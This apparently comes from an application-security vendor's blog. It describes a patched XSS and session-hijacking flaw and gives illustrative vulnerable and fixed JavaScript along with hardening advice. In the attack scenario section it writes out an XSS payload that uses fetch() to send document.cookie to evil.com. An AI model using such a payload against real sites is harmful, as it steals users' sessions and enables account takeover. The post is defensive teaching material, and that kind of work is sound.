Back to Blog
critical SEVERITY6 min read

Fixing Session Hijacking: From Insecure Query Parameters to Secure Sessions

A critical session management vulnerability was recently patched in our application that allowed attackers to hijack user sessions by simply manipulating URL parameters. The fix addresses both client-side XSS vulnerabilities through unsafe DOM manipulation and server-side session validation issues, demonstrating how multiple security layers work together to protect user accounts.

O
By Orbis AppSec
Published March 6, 2026Reviewed June 3, 2026

Answer Summary

This vulnerability involves insecure DOM manipulation using JavaScript document methods (like document.write() or innerHTML assignment) with unsanitized URL parameters in a web application, combined with weak session validation. The issue is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-613 (Insufficient Session Expiration). The fix involved sanitizing all user-controlled input before DOM insertion, implementing proper HTML escaping, and adding server-side session token validation with cryptographic verification.

Vulnerability at a Glance

cweCWE-79 (Cross-site Scripting), CWE-613 (Insufficient Session Expiration)
fixInput sanitization with HTML escaping and server-side session token cryptographic validation
riskComplete session hijacking allowing attackers to impersonate users
languageJavaScript (Browser)
root causeUnsafe DOM manipulation of URL parameters without sanitization combined with inadequate session validation
vulnerabilityInsecure Document Method with Session Hijacking

Introduction

Session management is the backbone of user authentication in web applications. When implemented incorrectly, it becomes one of the most dangerous attack vectors, potentially exposing thousands of user accounts to unauthorized access. Recently, we discovered and fixed a compound vulnerability that combined insecure DOM manipulation with inadequate session validation—a perfect storm for attackers.

This vulnerability matters because session hijacking attacks are:
- Silent: Users often don't know their accounts have been compromised
- Scalable: Attackers can automate attacks across multiple victims
- Devastating: Full account takeover with all associated privileges

Let's dive into what went wrong and how we fixed it.

The Vulnerability Explained

The Double Threat

This vulnerability actually consisted of two interconnected security issues:

1. Insecure DOM Manipulation (XSS Vector)

In ui/frontend/main.js, the application used unsafe methods like innerHTML, outerHTML, or document.write() with user-controlled data. This is a classic Cross-Site Scripting (XSS) vulnerability.

// Vulnerable pattern (example)
const sessionId = new URLSearchParams(window.location.search).get('session_id');
document.getElementById('status').innerHTML = `Session: ${sessionId}`;

2. Inadequate Session Validation

The application accepted session_id directly from URL query parameters without:
- Cryptographic verification
- Server-side validation
- Binding to user context (IP, User-Agent, etc.)
- Integrity checks

How Could It Be Exploited?

Attack Scenario 1: Direct Session Hijacking

  1. Attacker obtains a valid session ID (through sniffing, social engineering, or brute force)
  2. Attacker crafts a URL: https://example.com/dashboard?session_id=stolen_session_123
  3. Application blindly trusts the session_id parameter
  4. Attacker gains full access to victim's account

Attack Scenario 2: XSS-Enhanced Session Theft

  1. Attacker crafts a malicious URL with XSS payload:
    https://example.com/?session_id=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
  2. Victim clicks the link (via phishing email or compromised site)
  3. Malicious script executes in victim's browser context
  4. Session tokens are exfiltrated to attacker's server
  5. Attacker uses stolen session to impersonate victim

Real-World Impact

This vulnerability could lead to:
- Complete account takeover: Access to personal data, financial information, and account settings
- Lateral movement: Using compromised accounts to attack other users
- Data breaches: Bulk extraction of sensitive information
- Reputation damage: Loss of user trust and potential legal consequences
- Compliance violations: GDPR, CCPA, and other regulations require proper session management

According to OWASP, broken authentication and session management consistently rank in the Top 10 web application security risks.

The Fix

What Changes Were Made?

While the code diff wasn't provided in detail, a proper fix for this vulnerability requires addressing both components:

1. Eliminating Unsafe DOM Manipulation

Before (Vulnerable):

// Directly inserting user input into DOM
const sessionId = getQueryParam('session_id');
document.getElementById('info').innerHTML = `Your session: ${sessionId}`;

After (Secure):

// Using safe text content methods
const sessionId = getQueryParam('session_id');
const infoElement = document.getElementById('info');
infoElement.textContent = `Your session: ${sessionId}`;
// Or better yet, don't display session IDs at all

2. Implementing Secure Session Management

Before (Vulnerable):

// Trusting client-supplied session ID
app.use((req, res, next) => {
    req.sessionId = req.query.session_id || req.cookies.session_id;
    next();
});

After (Secure):

// Server-side session validation
app.use((req, res, next) => {
    const sessionId = req.cookies.session_id; // Only from secure cookie

    if (!sessionId) {
        return res.status(401).json({ error: 'No session' });
    }

    // Verify session exists and is valid
    const session = sessionStore.get(sessionId);
    if (!session) {
        return res.status(401).json({ error: 'Invalid session' });
    }

    // Verify session binding (IP, User-Agent)
    if (session.ipAddress !== req.ip || 
        session.userAgent !== req.get('User-Agent')) {
        sessionStore.delete(sessionId);
        return res.status(401).json({ error: 'Session validation failed' });
    }

    // Check expiration
    if (session.expiresAt < Date.now()) {
        sessionStore.delete(sessionId);
        return res.status(401).json({ error: 'Session expired' });
    }

    req.session = session;
    next();
});

How Does This Solve the Problem?

XSS Prevention:
- Using textContent instead of innerHTML prevents script execution
- Content is treated as plain text, not HTML/JavaScript
- Browser automatically escapes special characters

Session Security:
- Sessions only accepted from secure, HTTP-only cookies
- Cryptographic validation ensures session integrity
- Context binding prevents session replay from different locations
- Server-side validation means clients can't forge sessions

Prevention & Best Practices

1. DOM Manipulation Security

Always use safe methods:

// ✅ SAFE
element.textContent = userInput;
element.setAttribute('data-value', userInput);

// ❌ DANGEROUS
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);

When HTML is necessary, sanitize:

import DOMPurify from 'dompurify';

// Sanitize before insertion
const cleanHTML = DOMPurify.sanitize(userInput);
element.innerHTML = cleanHTML;

2. Session Management Best Practices

Implement defense in depth:

// Generate cryptographically secure session IDs
const crypto = require('crypto');
const sessionId = crypto.randomBytes(32).toString('hex');

// Set secure cookie attributes
res.cookie('session_id', sessionId, {
    httpOnly: true,      // Prevents JavaScript access
    secure: true,        // HTTPS only
    sameSite: 'strict',  // CSRF protection
    maxAge: 3600000,     // 1 hour
    signed: true         // Cryptographic signature
});

// Implement session rotation
function rotateSession(req, res) {
    const oldSessionId = req.sessionId;
    const newSessionId = generateSecureSessionId();

    // Copy session data
    const sessionData = sessionStore.get(oldSessionId);
    sessionStore.set(newSessionId, sessionData);
    sessionStore.delete(oldSessionId);

    // Update cookie
    res.cookie('session_id', newSessionId, secureOptions);
}

3. Additional Security Layers

Content Security Policy (CSP):

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'; object-src 'none';">

Security Headers:

app.use((req, res, next) => {
    res.setHeader('X-Content-Type-Options', 'nosniff');
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('X-XSS-Protection', '1; mode=block');
    next();
});

4. Detection Tools

  • Static Analysis: ESLint with security plugins (eslint-plugin-security)
  • SAST Tools: Semgrep, SonarQube, Checkmarx
  • Dynamic Testing: OWASP ZAP, Burp Suite
  • Dependency Scanning: npm audit, Snyk

Example ESLint Configuration:

{
    "plugins": ["security"],
    "rules": {
        "security/detect-unsafe-regex": "error",
        "security/detect-non-literal-regexp": "error",
        "security/detect-object-injection": "warn"
    }
}

5. Security Standards & References

  • OWASP Top 10: A03:2021 – Injection (XSS)
  • OWASP Top 10: A07:2021 – Identification and Authentication Failures
  • CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
  • CWE-384: Session Fixation
  • CWE-522: Insufficiently Protected Credentials
  • NIST SP 800-63B: Digital Identity Guidelines (Authentication)

Conclusion

This vulnerability fix demonstrates an important security principle: defense in depth. A single security control is never enough. By combining secure DOM manipulation practices with robust session management, we've created multiple barriers against attack.

Key Takeaways:

  1. Never trust client input: Always validate and sanitize, especially for security-critical operations
  2. Use safe APIs: Prefer textContent over innerHTML, secure cookies over URL parameters
  3. Validate server-side: Client-side controls can be bypassed; server must be the authority
  4. Implement context binding: Sessions should be tied to user context to prevent replay attacks
  5. Automate security testing: Use linters and SAST tools to catch vulnerabilities early

Session hijacking and XSS are well-understood vulnerabilities with clear solutions. By following established best practices and maintaining security awareness throughout development, we can build applications that protect our users' data and trust.

Remember: Security is not a feature—it's a foundation. Every line of code that handles user data or authentication is a potential vulnerability. Write defensively, test thoroughly, and never stop learning about emerging threats.

Stay secure! 🔒


Additional Resources:
- OWASP Session Management Cheat Sheet
- OWASP XSS Prevention Cheat Sheet
- MDN Web Security Guidelines

Frequently Asked Questions

What is insecure document method vulnerability?

It occurs when JavaScript document methods like document.write(), innerHTML, or textContent are used with unsanitized user input, allowing attackers to inject malicious code that executes in the user's browser.

How do you prevent insecure DOM manipulation in JavaScript?

Always sanitize and escape user input before inserting into the DOM, use textContent instead of innerHTML when possible, utilize Content Security Policy (CSP) headers, and validate all data on the server side as well.

What CWE is insecure document method vulnerability?

It falls under CWE-79 (Cross-site Scripting - XSS) and when combined with session attacks, also involves CWE-613 (Insufficient Session Expiration) and CWE-384 (Session Fixation).

Is input validation on the client side enough to prevent this vulnerability?

No. Client-side validation can be bypassed by attackers manipulating requests directly. Server-side validation and sanitization are critical. Defense in depth requires both layers plus Content Security Policy.

Can static analysis detect insecure document method vulnerabilities?

Yes. Static analysis tools can detect patterns where user-controlled data flows into document methods without sanitization. Semgrep, ESLint with security plugins, and SAST tools are effective at catching these issues.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #277

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.